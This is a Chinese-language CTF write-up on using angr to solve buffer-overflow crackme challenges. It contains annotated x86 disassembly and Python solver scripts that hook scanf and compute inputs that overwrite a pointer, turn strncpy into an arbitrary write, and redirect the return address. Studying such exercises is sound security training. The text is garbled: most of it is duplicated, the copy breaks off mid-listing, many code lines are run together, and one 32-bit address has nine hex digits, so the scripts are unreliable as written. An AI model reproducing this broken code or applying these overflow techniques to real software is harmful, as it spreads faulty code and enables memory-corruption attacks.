汇编代码:
.text:080484C9 main proc near ; DATA XREF: _start+17↑o
.text:080484C9
.text:080484C9 input_buffer = byte ptr -1Ch ; 注意这个buffer 的大小是16 字节
.text:080484C9 try_again_string_point= dword ptr -0Ch
.text:080484C9 var_4 = dword ptr -4
.text:080484C9 argc = dword ptr 8
.text:080484C9 argv = dword ptr 0Ch
.text:080484C9 envp = dword ptr 10h
.text:080484C9
.text:080484C9 ; __unwind {
.text:080484C9 lea ecx, [esp+4]
.text:080484CD and esp, 0FFFFFFF0h
.text:080484D0 push dword ptr [ecx-4]
.text:080484D3 push ebp
.text:080484D4 mov ebp, esp
.text:080484D6 push ecx
.text:080484D7 sub esp, 24h
.text:080484DA mov eax, try_again
.text:080484DF mov [ebp+try_again_string_point], eax ; 把字符串try_again 的指针保存的局部变量try_again_string_point
.text:080484E2 sub esp, 0Ch
.text:080484E5 push offset aEnterThePasswo ; "Enter the password: "
.text:080484EA call _printf
.text:080484EF add esp, 10h
.text:080484F2 sub esp, 4
.text:080484F5 lea eax, [ebp+input_buffer]
.text:080484F8 push eax
.text:080484F9 push offset check_key
.text:080484FE push offset aU20s ; "%u %20s"
.text:08048503 call ___isoc99_scanf ; 用户input 两个输入:check_key 和20 字节的input_buffer
.text:08048508 add esp, 10h
.text:0804850B mov eax, ds:check_key
.text:08048510 cmp eax, 228BF7Eh
.text:08048515 jz short loc_8048531
.text:08048517 cmp eax, 3AD516Ah
.text:0804851C jnz short loc_8048542 ; 这里根据check_key 的输入来进行跳转到不同的puts 中
.text:0804851E mov eax, try_again
.text:08048523 sub esp, 0Ch
.text:08048526 push eax ; s
.text:08048527 call _puts
.text:0804852C add esp, 10h
.text:0804852F jmp short loc_8048553
.text:08048531 ; ---------------------------------------------------------------------------
.text:08048531
.text:08048531 loc_8048531: ; CODE XREF: main+4C↑j
.text:08048531 mov eax, [ebp+try_again_string_point] ; 我们知道,input_buffer 的大小为16 字节,但是scanf() 输入时是20 字节,所以可以导致try_again_string_point 可以被覆盖,于是需要满足条件input_buffer = 0x228BF7E ,我们就可以控制puts 的输出了.
.text:08048534 sub esp, 0Ch
.text:08048537 push eax ; s
.text:08048538 call _puts
.text:0804853D add esp, 10h
.text:08048540 jmp short loc_8048553
.text:08048542 ; ---------------------------------------------------------------------------
.text:08048542
.text:08048542 loc_8048542: ; CODE XREF: main+53↑j
.text:08048542 mov eax, try_again
.text:08048547 sub esp, 0Ch
.text:0804854A push eax ; s
.text:0804854B call _puts
.text:08048550 add esp, 10h
.text:08048553
.text:08048553 loc_8048553: ; CODE XREF: main+66↑j
.text:08048553 ; main+77↑j
.text:08048553 nop
从代码主要逻辑可以知道,我们关键的一点在于检查puts() 函数是否接受到了可控的输入.
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)initial_state = project.factory.entry_state()
class ReplacementScanf(angr.SimProcedure): # 实现Scanf Hook 函数
def run(self, format_string, check_key_address,input_buffer_address):
scanf0 = claripy.BVS('scanf0', 4 * 8) # check_key
scanf1 = claripy.BVS('scanf1', 20 * 8) # input_bufferfor char in scanf1.chop(bits=8):
self.state.add_constraints(char >= '0', char <= 'z') # 对input_buffer 的输入约束self.state.memory.store(check_key_address, scanf0, endness=project.arch.memory_endness)
self.state.memory.store(input_buffer_address, scanf1,endness=project.arch.memory_endness) # 保存求解变量到指定的内存中self.state.globals['solution0'] = scanf0 # 保存这两个变量到state 中,后续求解需要用到
self.state.globals['solution1'] = scanf1scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf()) # Hook scanf 函数def check_puts(state):
puts_parameter = state.memory.load(state.regs.esp + 4, 4, endness=project.arch.memory_endness) # 获取puts() 函数的参数if state.se.symbolic(puts_parameter): # 检查这个参数是否为符号化对象
good_job_string_address = 0x4D525854Bcopied_state = state.copy() # 复制执行状态上下文进行约束求解,不影响原理的执行上下文
copied_state.add_constraints(puts_parameter == good_job_string_address) # puts 的参数地址是否可以被指定为0x4D525854B ,如果可以的话,那就证明这个值是可控的
if copied_state.satisfiable(): # 判断添加了上面这个约束是否有解
state.add_constraints(puts_parameter == good_job_string_address) # 如果有解的话就保存到我们执行的那个状态对象
return True
else:
return False
else:
return Falsesimulation = project.factory.simgr(initial_state)
def is_successful(state):
puts_address = 0x8048370 # 当程序执行到puts() 函数时,我们就认为路径探索到了这里,然后再去通过check_puts() 判断这里是否存在漏洞,告诉Angr这是不是我们需要找的那条执行路径if state.addr == puts_address:
return check_puts(state)
else:
return Falsesimulation.explore(find=is_successful)
if simulation.found:
solution_state = simulation.found[0]solution0 = solution_state.se.eval(solution_state.globals['solution0'])
solution1 = solution_state.se.eval(solution_state.globals['solution1'],cast_to=bytes) # 输出字符串序列化的内容print(solution0,solution1)
Angr函数使用总结:
state.copy() => 复制状态上下文
state.satisfiable() => 判断当前的所有约束是否有解
solution_state.se.eval(求解变量,cast_to=bytes) => 序列化变量内容为字符串
汇编代码:
.text:08048569 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:08048569 public main
.text:08048569 main proc near ; DATA XREF: _start+17↑o
.text:08048569
.text:08048569 input_buffer = byte ptr -1Ch
.text:08048569 target_buffer = dword ptr -0Ch
.text:08048569 var_4 = dword ptr -4
.text:08048569 argc = dword ptr 8
.text:08048569 argv = dword ptr 0Ch
.text:08048569 envp = dword ptr 10h
.text:08048569
.text:08048569 ; __unwind {
.text:08048569 lea ecx, [esp+4]
.text:0804856D and esp, 0FFFFFFF0h
.text:08048570 push dword ptr [ecx-4]
.text:08048573 push ebp
.text:08048574 mov ebp, esp
.text:08048576 push ecx
.text:08048577 sub esp, 24h
.text:0804857A mov [ebp+target_buffer], offset unimportant_buffer
.text:08048581 sub esp, 4
.text:08048584 push 10h ; n
.text:08048586 push 0 ; c
.text:08048588 lea eax, [ebp+input_buffer]
.text:0804858B push eax ; s
.text:0804858C call _memset ; 清空input_buffer 的内容
.text:08048591 add esp, 10h
.text:08048594 sub esp, 4
.text:08048597 push 0Ch ; n
.text:08048599 push offset src ; "PASSWORD"
.text:0804859E push offset password_buffer ; dest
.text:080485A3 call _strncpy ; 复制PASSWORD 到全局内存password_buffer
.text:080485A8 add esp, 10h
.text:080485AB sub esp, 0Ch
.text:080485AE push offset aEnterThePasswo ; "Enter the password: "
.text:080485B3 call _printf
.text:080485B8 add esp, 10h
.text:080485BB sub esp, 4
.text:080485BE lea eax, [ebp+input_buffer]
.text:080485C1 push eax
.text:080485C2 push offset check_key
.text:080485C7 push offset aU20s ; "%u %20s"
.text:080485CC call ___isoc99_scanf ; scanf("%u %20s",check_key,input_buffer) .注意input_buffer 的大小是20 字节,栈上的input_buffer 默认的大小是16 字节,最后4 字节可以覆盖target_buffer .
.text:080485D1 add esp, 10h
.text:080485D4 mov eax, ds:check_key
.text:080485D9 cmp eax, 1A25D71h
.text:080485DE jz short loc_80485E9
.text:080485E0 cmp eax, 1CB7D43h
.text:080485E5 jz short loc_8048601 ; 根据check_key 的输入来跳转到不同的_strncpy
.text:080485E7 jmp short loc_8048618
.text:080485E9 ; ---------------------------------------------------------------------------
.text:080485E9
.text:080485E9 loc_80485E9: ; CODE XREF: main+75↑j
.text:080485E9 sub esp, 4
.text:080485EC push 10h ; n
.text:080485EE lea eax, [ebp+input_buffer]
.text:080485F1 push eax ; src
.text:080485F2 push offset unimportant_buffer ; dest
.text:080485F7 call _strncpy
.text:080485FC add esp, 10h
.text:080485FF jmp short loc_804862E
.text:08048601 ; ---------------------------------------------------------------------------
.text:08048601
.text:08048601 loc_8048601: ; CODE XREF: main+7C↑j
.text:08048601 mov eax, [ebp+target_buffer] ; 注意这个是MOV 指令,意思是获取EBP + target_buffer 这个地址的内容保存到EAX 中
.text:08048604 sub esp, 4
.text:08048607 push 10h ; n
.text:08048609 lea edx, [ebp+input_buffer] ; 注意这个是LEA 指令,意思是计算出EBP + input_buffer 的地址保存到EBX 中
.text:0804860C push edx ; src
.text:0804860D push eax ; dest
.text:0804860E call _strncpy ; 漏洞点在这里,strncpy(*target_buffer,input_buffer) ,也就是说input_buffer 最后四字节可以控制对任意地址的_strncpy() .总结起来就是strncpy(input_buffer[ -4 : ],input_buffer,0x10) .
.text:08048613 add esp, 10h
.text:08048616 jmp short loc_804862E
.text:08048618 ; ---------------------------------------------------------------------------
.text:08048618
.text:08048618 loc_8048618: ; CODE XREF: main+7E↑j
.text:08048618 sub esp, 4
.text:0804861B push 10h ; n
.text:0804861D lea eax, [ebp+input_buffer]
.text:08048620 push eax ; src
.text:08048621 push offset unimportant_buffer ; dest
.text:08048626 call _strncpy
.text:0804862B add esp, 10h
.text:0804862E
.text:0804862E loc_804862E: ; CODE XREF: main+96↑j
.text:0804862E ; main+AD↑j
.text:0804862E nop
.text:0804862F sub esp, 4
.text:08048632 push 8 ; n
.text:08048634 push offset key_string ; "KZYRKMKE"
.text:08048639 push offset password_buffer ; s1
.text:0804863E call _strncmp ; 我们知道了上面有一个任意地址写之后,我们就需要改写key_string 或者password_buffer 一致,让_strncmp() 返回0 ,跳转到puts("Good Job")
.text:08048643 add esp, 10h
.text:08048646 test eax, eax
.text:08048648 jz short loc_804865C
.text:0804864A sub esp, 0Ch
.text:0804864D push offset s ; "Try again."
.text:08048652 call _puts
.text:08048657 add esp, 10h
.text:0804865A jmp short loc_804866C
.text:0804865C ; ---------------------------------------------------------------------------
.text:0804865C
.text:0804865C loc_804865C: ; CODE XREF: main+DF↑j
.text:0804865C sub esp, 0Ch
.text:0804865F push offset aGoodJob ; "Good Job."
.text:08048664 call _puts
.text:08048669 add esp, 10h
汇编代码中的注释已经把整体的逻辑和漏洞原理讲解得差不多了,那么我们就需要做两个判断:一是判断input_buffer 后四字节是否可控;二是前八字节是否可以控制内容为"KZYRKMKE" 或者"PASSWORD" .那么得到的solver.py 代码如下:
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, check_key ,input_buffer):
scanf0 = claripy.BVS('scanf0', 4 * 8)
scanf1 = claripy.BVS('scanf1', 20 * 8)for char in scanf1.chop(bits=8):
self.state.add_constraints(char >= '0', char <= 'z')self.state.memory.store(check_key, scanf0, endness=project.arch.memory_endness)
self.state.memory.store(input_buffer, scanf1, endness=project.arch.memory_endness)self.state.globals['solution0'] = scanf0
self.state.globals['solution1'] = scanf1scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())def check_strncpy(state):
strncpy_dest = state.memory.load(state.regs.esp + 4, 4, endness=project.arch.memory_endness) # 获取strncpy() 的参数,strncpy_dest ..
strncpy_src = state.memory.load(state.regs.esp + 8, 4, endness=project.arch.memory_endness)
strncpy_len = state.memory.load(state.regs.esp + 12, 4, endness=project.arch.memory_endness)
src_contents = state.memory.load(strncpy_src, strncpy_len) # 因为参数中只保存了地址,我们需要根据这个地址去获取内容if state.se.symbolic(strncpy_dest) and state.se.symbolic(src_contents) : # 判断dest 和src 的内容是不是符号化对象
if state.satisfiable(extra_constraints=(src_contents[ -1 : -64 ] == 'KZYRKMKE' ,strncpy_dest == 0x4D52584C)): # 尝试求解,其中strncpy_dest == 0x4D52584C 的意思是判断dest 是否可控为password 的地址;src_contents[ -1 : -64 ] == 'KZYRKMKE' 是判断input_buffer 的内容是否可控为'KZYRKMKE' ,因为这块内存是倒序,所以需要通过[ -1 : -64 ] 倒转(contentes 的内容是比特,获取8 字节的大小为:8*8 = 64),然后判断该值是否为字符串'KZYRKMKE'
state.add_constraints(src_contents[ -1 : -64 ] == 'KZYRKMKE',strncpy_dest == 0x4D52584C)
return True
else:
return False
else:
return Falsesimulation = project.factory.simgr(initial_state)
def is_successful(state):
strncpy_address = 0x8048410if state.addr == strncpy_address:
return check_strncpy(state)
else:
return Falsesimulation.explore(find=is_successful)
if simulation.found:
solution_state = simulation.found[0]
solution0 = solution_state.se.eval(solution_state.globals['solution0'])
solution1 = solution_state.se.eval(solution_state.globals['solution1'],cast_to=bytes)print(solution0,solution1)
Angr函数使用总结:
state.satisfiable(extra_constraints=(条件1,条件2)) => 合并多个条件计算是否存在满足约束的解(注意两个或多个条件之间是And 合并判断,不是Or )
汇编代码:
.text:4D525886 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:4D525886 public main
.text:4D525886 main proc near ; DATA XREF: _start+17↑o
.text:4D525886
.text:4D525886 var_C = dword ptr -0Ch
.text:4D525886 var_4 = dword ptr -4
.text:4D525886 argc = dword ptr 8
.text:4D525886 argv = dword ptr 0Ch
.text:4D525886 envp = dword ptr 10h
.text:4D525886
.text:4D525886 ; __unwind {
.text:4D525886 lea ecx, [esp+4]
.text:4D52588A and esp, 0FFFFFFF0h
.text:4D52588D push dword ptr [ecx-4]
.text:4D525890 push ebp
.text:4D525891 mov ebp, esp
.text:4D525893 push ecx
.text:4D525894 sub esp, 14h
.text:4D525897 mov [ebp+var_C], 0
.text:4D52589E sub esp, 0Ch
.text:4D5258A1 push offset aEnterThePasswo ; "Enter the password: "
.text:4D5258A6 call _printf
.text:4D5258AB add esp, 10h
.text:4D5258AE call read_input ; 小细节,注意read_input 是stdcall 的调用方法
.text:4D5258B3 sub esp, 0Ch
.text:4D5258B6 push offset aTryAgain ; "Try again."
.text:4D5258BB call _puts
.text:4D5258C0 add esp, 10h
.text:4D5258C3 mov eax, 0
.text:4D5258C8 mov ecx, [ebp+var_4]
.text:4D5258CB leave
.text:4D5258CC lea esp, [ecx-4]
.text:4D5258CF retn
main() 函数的逻辑很简单,printf() 输出Enter the password:
然后调用read_input() 函数.继续阅读read_input() 函数的代码:
.text:4D525869 read_input proc near ; CODE XREF: main+28↓p
.text:4D525869
.text:4D525869 input_buffer = byte ptr -2Bh ; input_buffer 大小为0x2B
.text:4D525869
.text:4D525869 ; __unwind {
.text:4D525869 push ebp
.text:4D52586A mov ebp, esp
.text:4D52586C sub esp, 38h ; 栈空间在这里分配
.text:4D52586F sub esp, 8
.text:4D525872 lea eax, [ebp+input_buffer]
.text:4D525875 push eax
.text:4D525876 push offset format ; "%s"
.text:4D52587B call ___isoc99_scanf ; 注意scanf() 的输入长度是没有限制的
.text:4D525880 add esp, 10h
.text:4D525883 nop
.text:4D525884 leave
.text:4D525885 retn
看完read_input() 的代码之后,我们知道这是一个典型的栈溢出覆盖RET 地址的题目,最后要让RET 地址返回到这个位置
.text:4D525849 print_good proc near
.text:4D525849 ; __unwind {
.text:4D525849 push ebp
.text:4D52584A mov ebp, esp
.text:4D52584C sub esp, 8
.text:4D52584F sub esp, 0Ch
.text:4D525852 push offset s ; "Good Job."
.text:4D525857 call _puts
.text:4D52585C add esp, 10h
.text:4D52585F sub esp, 0Ch
.text:4D525862 push 0 ; status
.text:4D525864 call _exit
Angr-CTF 解题脚本已经不能在当前的Angr 版本中正常执行了,修改的方法是Hook scanf() 在input_buffer 中构造Vector 进行求解.
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()simulation = project.factory.simgr(
initial_state,
save_unconstrained=True,
stashes={
'active' : [initial_state],
'unconstrained' : [],
'found' : [],
'not_needed' : []
}
)class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, input_buffer_address):
input_buffer = claripy.BVS('input_buffer', 64 * 8) # 设置一个较大的input_bufferfor char in input_buffer.chop(bits=8):
self.state.add_constraints(char >= '0', char <= 'z')self.state.memory.store(input_buffer_address, input_buffer, endness=project.arch.memory_endness)
self.state.globals['solution'] = input_buffer
scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf()) # 对scanf() 做Hookwhile (simulation.active or simulation.unconstrained) and (not simulation.found): #
for unconstrained_state in simulation.unconstrained:
def should_move(s):
return s is unconstrained_statesimulation.move('unconstrained', 'found', filter_func=should_move) # 保存
simulation.step() # 步进执行
if simulation.found:
solution_state = simulation.found[0]solution_state.add_constraints(solution_state.regs.eip == 0x4D525849) # 判断EIP 地址是否可控
solution = solution_state.se.eval(solution_state.globals['solution'],cast_to = bytes) # 生成Payload
print(solution)
汇编代码:
.text:080484C9 main proc near ; DATA XREF: _start+17↑o
.text:080484C9
.text:080484C9 input_buffer = byte ptr -1Ch ; 注意这个buffer 的大小是16 字节
.text:080484C9 try_again_string_point= dword ptr -0Ch
.text:080484C9 var_4 = dword ptr -4
.text:080484C9 argc = dword ptr 8
.text:080484C9 argv = dword ptr 0Ch
.text:080484C9 envp = dword ptr 10h
.text:080484C9
.text:080484C9 ; __unwind {
.text:080484C9 lea ecx, [esp+4]
.text:080484CD and esp, 0FFFFFFF0h
.text:080484D0 push dword ptr [ecx-4]
.text:080484D3 push ebp
.text:080484D4 mov ebp, esp
.text:080484D6 push ecx
.text:080484D7 sub esp, 24h
.text:080484DA mov eax, try_again
.text:080484DF mov [ebp+try_again_string_point], eax ; 把字符串try_again 的指针保存的局部变量try_again_string_point
.text:080484E2 sub esp, 0Ch
.text:080484E5 push offset aEnterThePasswo ; "Enter the password: "
.text:080484EA call _printf
.text:080484EF add esp, 10h
.text:080484F2 sub esp, 4
.text:080484F5 lea eax, [ebp+input_buffer]
.text:080484F8 push eax
.text:080484F9 push offset check_key
.text:080484FE push offset aU20s ; "%u %20s"
.text:08048503 call ___isoc99_scanf ; 用户input 两个输入:check_key 和20 字节的input_buffer
.text:08048508 add esp, 10h
.text:0804850B mov eax, ds:check_key
.text:08048510 cmp eax, 228BF7Eh
.text:08048515 jz short loc_8048531
.text:08048517 cmp eax, 3AD516Ah
.text:0804851C jnz short loc_8048542 ; 这里根据check_key 的输入来进行跳转到不同的puts 中
.text:0804851E mov eax, try_again
.text:08048523 sub esp, 0Ch
.text:08048526 push eax ; s
.text:08048527 call _puts
.text:0804852C add esp, 10h
.text:0804852F jmp short loc_8048553
.text:08048531 ; ---------------------------------------------------------------------------
.text:08048531
.text:08048531 loc_8048531: ; CODE XREF: main+4C↑j
.text:08048531 mov eax, [ebp+try_again_string_point] ; 我们知道,input_buffer 的大小为16 字节,但是scanf() 输入时是20 字节,所以可以导致try_again_string_point 可以被覆盖,于是需要满足条件input_buffer = 0x228BF7E ,我们就可以控制puts 的输出了.
.text:08048534 sub esp, 0Ch
.text:08048537 push eax ; s
.text:08048538 call _puts
.text:0804853D add esp, 10h
.text:08048540 jmp short loc_8048553
.text:08048542 ; ---------------------------------------------------------------------------
.text:08048542
.text:08048542 loc_8048542: ; CODE XREF: main+53↑j
.text:08048542 mov eax, try_again
.text:08048547 sub esp, 0Ch
.text:0804854A push eax ; s
.text:0804854B call _puts
.text:08048550 add esp, 10h
.text:08048553
.text:08048553 loc_8048553: ; CODE XREF: main+66↑j
.text:08048553 ; main+77↑j
.text:08048553 nop
从代码主要逻辑可以知道,我们关键的一点在于检查puts() 函数是否接受到了可控的输入.
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)initial_state = project.factory.entry_state()
class ReplacementScanf(angr.SimProcedure): # 实现Scanf Hook 函数
def run(self, format_string, check_key_address,input_buffer_address):
scanf0 = claripy.BVS('scanf0', 4 * 8) # check_key
scanf1 = claripy.BVS('scanf1', 20 * 8) # input_bufferfor char in scanf1.chop(bits=8):
self.state.add_constraints(char >= '0', char <= 'z') # 对input_buffer 的输入约束self.state.memory.store(check_key_address, scanf0, endness=project.arch.memory_endness)
self.state.memory.store(input_buffer_address, scanf1,endness=project.arch.memory_endness) # 保存求解变量到指定的内存中self.state.globals['solution0'] = scanf0 # 保存这两个变量到state 中,后续求解需要用到
self.state.globals['solution1'] = scanf1scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf()) # Hook scanf 函数def check_puts(state):
puts_parameter = state.memory.load(state.regs.esp + 4, 4, endness=project.arch.memory_endness) # 获取puts() 函数的参数if state.se.symbolic(puts_parameter): # 检查这个参数是否为符号化对象
good_job_string_address = 0x4D525854Bcopied_state = state.copy() # 复制执行状态上下文进行约束求解,不影响原理的执行上下文
copied_state.add_constraints(puts_parameter == good_job_string_address) # puts 的参数地址是否可以被指定为0x4D525854B ,如果可以的话,那就证明这个值是可控的
if copied_state.satisfiable(): # 判断添加了上面这个约束是否有解
state.add_constraints(puts_parameter == good_job_string_address) # 如果有解的话就保存到我们执行的那个状态对象
return True
else:
return False
else:
return Falsesimulation = project.factory.simgr(initial_state)
def is_successful(state):
puts_address = 0x8048370 # 当程序执行到puts() 函数时,我们就认为路径探索到了这里,然后再去通过check_puts() 判断这里是否存在漏洞,告诉Angr这是不是我们需要找的那条执行路径if state.addr == puts_address:
return check_puts(state)
else:
return Falsesimulation.explore(find=is_successful)
if simulation.found:
solution_state = simulation.found[0]solution0 = solution_state.se.eval(solution_state.globals['solution0'])
solution1 = solution_state.se.eval(solution_state.globals['solution1'],cast_to=bytes) # 输出字符串序列化的内容print(solution0,solution1)
Angr函数使用总结:
state.copy() => 复制状态上下文
state.satisfiable() => 判断当前的所有约束是否有解
solution_state.se.eval(求解变量,cast_to=bytes) => 序列化变量内容为字符串
汇编代码:
.text:08048569 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:08048569 public main
.text:08048569 main proc near ; DATA XREF: _start+17↑o
.text:08048569
.text:08048569 input_buffer = byte ptr -1Ch
.text:08048569 target_buffer = dword ptr -0Ch
.text:08048569 var_4 = dword ptr -4
.text:08048569 argc = dword ptr 8
.text:08048569 argv = dword ptr 0Ch
.text:08048569 envp = dword ptr 10h
.text:08048569
.text:08048569 ; __unwind {
.text:08048569 lea ecx, [esp+4]
.text:0804856D and esp, 0FFFFFFF0h
.text:08048570 push dword ptr [ecx-4]
.text:08048573 push ebp
.text:08048574 mov ebp, esp
.text:08048576 push ecx
.text:08048577 sub esp, 24h
.text:0804857A mov [ebp+target_buffer], offset unimportant_buffer
.text:08048581 sub esp, 4
.text:08048584 push 10h ; n
.text:08048586 push 0 ; c
.text:08048588 lea eax, [ebp+input_buffer]
.text:0804858B push eax ; s
.text:0804858C call _memset ; 清空input_buffer 的内容
.text:08048591 add esp, 10h
.text:08048594 sub esp, 4
.text:08048597 push 0Ch ; n
.text:08048599 push offset src ; "PASSWORD"
.text:0804859E push offset password_buffer ; dest
.text:080485A3 call _strncpy ; 复制PASSWORD 到全局内存password_buffer
.text:080485A8 add esp, 10h
.text:080485AB sub esp, 0Ch
.text:080485AE push offset aEnterThePasswo ; "Enter the password: "
.text:080485B3 call _printf
.text:080485B8 add esp, 10h
.text:080485BB sub esp, 4
.text:080485BE lea eax, [ebp+input_buffer]
.text:080485C1 push eax
.text:080485C2 push offset check_key
.text:080485C7 push offset aU20s ; "%u %20s"
.text:080485CC call ___isoc99_scanf ; scanf("%u %20s",check_key,input_buffer) .注意input_buffer 的大小是20 字节,栈上的input_buffer 默认的大小是16 字节,最后4 字节可以覆盖target_buffer .
.text:080485D1 add esp, 10h
.text:080485D4 mov eax, ds:check_key
.text:080485D9 cmp eax, 1A25D71h
.text:080485DE jz short loc_80485E9
.text:080485E0 cmp eax, 1CB7D43h
.text:080485E5 jz short loc_8048601 ; 根据check_key 的输入来跳转到不同的_strncpy
.text:080485E7 jmp short loc_8048618
.text:080485E9 ; ---------------------------------------------------------------------------
.text:080485E9
.text:080485E9 loc_80485E9: ; CODE XREF: main+75↑j
.text:080485E9 sub esp, 4
.text:080485EC push 10h ; n
.text:080485EE lea eax, [ebp+input_buffer]
.text:080485F1 push eax ; src
.text:080485F2 push offset unimportant_buffer ; dest
.text:080485F7 call _strncpy
.text:080485FC add esp, 10h
.text:080485FF jmp short loc_804862E
.text:08048601 ; ---------------------------------------------------------------------------
.text:08048601
.text:08048601 loc_8048601: ; CODE XREF: main+7C↑j
.text:08048601 mov eax, [ebp+target_buffer] ; 注意这个是MOV 指令,意思是获取EBP + target_buffer 这个地址的内容保存到EAX 中
.text:08048604 sub esp, 4
.text:08048607 push 10h ; n
.text:08048609 lea edx, [ebp+input_buffer] ; 注意这个是LEA 指令,意思是计算出EBP + input_buffer 的地址保存到EBX 中
.text:0804860C push edx ; src
.text:0804860D push eax ; dest
.text:0804860E call _strncpy ; 漏洞点在这里,strncpy(*target_buffer,input_buffer) ,也就是说input_buffer 最后四字节可以控制对任意地址的_strncpy() .总结起来就是strncpy(input_buffer[ -4 : ],input_buffer,0x10) .
.text:08048613 add esp, 10h
.text:08048616 jmp short loc_804862E
.text:08048618 ; ---------------------------------------------------------------------------
.text:08048618
.text:08048618 loc_8048618: ; CODE XREF: main+7E↑j
.text:08048618 sub esp, 4
.text:0804861B push 10h ; n
.text:0804861D lea eax, [ebp+input_buffer]
.text:08048620 push eax ; src
.text:08048621 push offset unimportant_buffer ; dest
.text:08048626 call _strncpy
.text:0804862B add esp, 10h
.text:0804862E
.text:0804862E loc_804862E: ; CODE XREF: main+96↑j
.text:0804862E ; main+AD↑j
.text:0804862E nop
.text:0804862F sub esp, 4
.text:08048632 push 8 ; n
.text:08048634 push offset key_string ; "KZYRKMKE"
.text:08048639 push offset password_buffer ; s1
.text:0804863E call _strncmp ; 我们知道了上面有一个任意地址写之后,我们就需要改写key_string 或者password_buffer 一致,让_strncmp() 返回0 ,跳转到puts("Good Job")
.text:08048643 add esp, 10h
.text:08048646 test eax, eax
.text:08048648 jz short loc_804865C
.text:0804864A sub esp, 0Ch
.text:0804864D push offset s ; "Try again."
.text:08048652 call _puts
.text:08048657 add esp, 10h
.text:0804865A jmp short loc_804866C
.text:0804865C ; ---------------------------------------------------------------------------
.text:0804865C
.text:0804865C loc_804865C: ; CODE XREF: main+DF↑j
.text:0804865C sub esp, 0Ch
.text:0804865F push offset aGoodJob ; "Good Job."
.text:08048664 call _puts
.text:08048669 add esp, 10h
汇编代码中的注释已经把整体的逻辑和漏洞原理讲解得差不多了,那么我们就需要做两个判断:一是判断input_buffer 后四字节是否可控;二是前八字节是否可以控制内容为"KZYRKMKE" 或者"PASSWORD" .那么得到的solver.py 代码如下:
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, check_key ,input_buffer):
scanf0 = claripy.BVS('scanf0', 4 * 8)
scanf1 = claripy.BVS('scanf1', 20 * 8)for char in scanf1.chop(bits=8):
self.state.add_constraints(char >= '0', char <= 'z')self.state.memory.store(check_key, scanf0, endness=project.arch.memory_endness)
self.state.memory.store(input_buffer, scanf1, endness=project.arch.memory_endness)self.state.globals['solution0'] = scanf0
self.state.globals['solution1'] = scanf1scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())def check_strncpy(state):
strncpy_dest = state.memory.load(state.regs.esp + 4, 4, endness=project.arch.memory_endness) # 获取strncpy() 的参数,strncpy_dest ..
strncpy_src = state.memory.load(state.regs.esp + 8, 4, endness=project.arch.memory_endness)
strncpy_len = state.memory.load(state.regs.esp + 12, 4, endness=project.arch.memory_endness)
src_contents = state.memory.load(strncpy_src, strncpy_len) # 因为参数中只保存了地址,我们需要根据这个地址去获取内容if state.se.symbolic(strncpy_dest) and state.se.symbolic(src_contents) : # 判断dest 和src 的内容是不是符号化对象
if state.satisfiable(extra_constraints=(src_contents[ -1 : -64 ] == 'KZYRKMKE' ,strncpy_dest == 0x4D52584C)): # 尝试求解,其中strncpy_dest == 0x4D52584C 的意思是判断dest 是否可控为password 的地址;src_contents[ -1 : -64 ] == 'KZYRKMKE' 是判断input_buffer 的内容是否可控为'KZYRKMKE' ,因为这块内存是倒序,所以需要通过[ -1 : -64 ] 倒转(contentes 的内容是比特,获取8 字节的大小为:8*8 = 64),然后判断该值是否为字符串'KZYRKMKE'
state.add_constraints(src_contents[ -1 : -64 ] == 'KZYRKMKE',strncpy_dest == 0x4D52584C)
return True
else:
return False
else:
return Falsesimulation = project.factory.simgr(initial_state)
def is_successful(state):
strncpy_address = 0x8048410if state.addr == strncpy_address:
return check_strncpy(state)
else:
return Falsesimulation.explore(find=is_successful)
if simulation.found:
solution_state = simulation.found[0]
solution0 = solution_state.se.eval(solution_state.globals['solution0'])
solution1 = solution_state.se.eval(solution_state.globals['solution1'],cast_to=bytes)print(solution0,solution1)
Angr函数使用总结:
state.satisfiable(extra_constraints=(条件1,条件2)) => 合并多个条件计算是否存在满足约束的解(注意两个或多个条件之间是And 合并判断,不是Or )
汇编代码:
.text:4D525886 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:4D525886 public main
.text:4D525886 main proc near ; DATA XREF: _start+17↑o
.text:4D525886
.text:4D525886 var_C = dword ptr -0Ch
.text:4D525886 var_4 = dword ptr -4
.text:4D525886 argc = dword ptr 8
.text:4D525886 argv = dword ptr 0Ch
.text:4D525886 envp = dword ptr 10h
.text:4D525886
.text:4D525886 ; __unwind {
.text:4D525886 lea ecx, [esp+4]
.text:4D52588A and esp, 0FFFFFFF0h
.text:4D52588D push dword ptr [ecx-4]
.text:4D525890 push ebp
.text:4D525891 mov ebp, esp
.text:4D525893 push ecx
.text:4D525894 sub esp, 14h
.text:4D525897 mov [ebp+var_C], 0
.text:4D52589E sub esp, 0Ch
.text:4D5258A1 push offset aEnterThePasswo ; "Enter the password: "
.text:4D5258A6 call _printf
.text:4D5258AB add esp, 10h
.text:4D5258AE call read_input ; 小细节,注意read_input 是stdcall 的调用方法
.text:4D5258B3 sub esp, 0Ch
.text:4D5258B6 push offset aTryAgain ; "Try again."
.text:4D5258BB call _puts
.text:4D5258C0 add esp, 10h
.text:4D5258C3 mov eax, 0
.text:4D5258C8 mov ecx, [ebp+var_4]
.text:4D5258CB leave
.text:4D5258CC lea esp, [ecx-4]
.text:4D5258CF retn
main() 函数的逻辑很简单,printf() 输出Enter the password:
然后调用read_input() 函数.继续阅读read_input() 函数的代码:
.text:4D525869 read_input proc near ; CODE XREF: main+28↓p
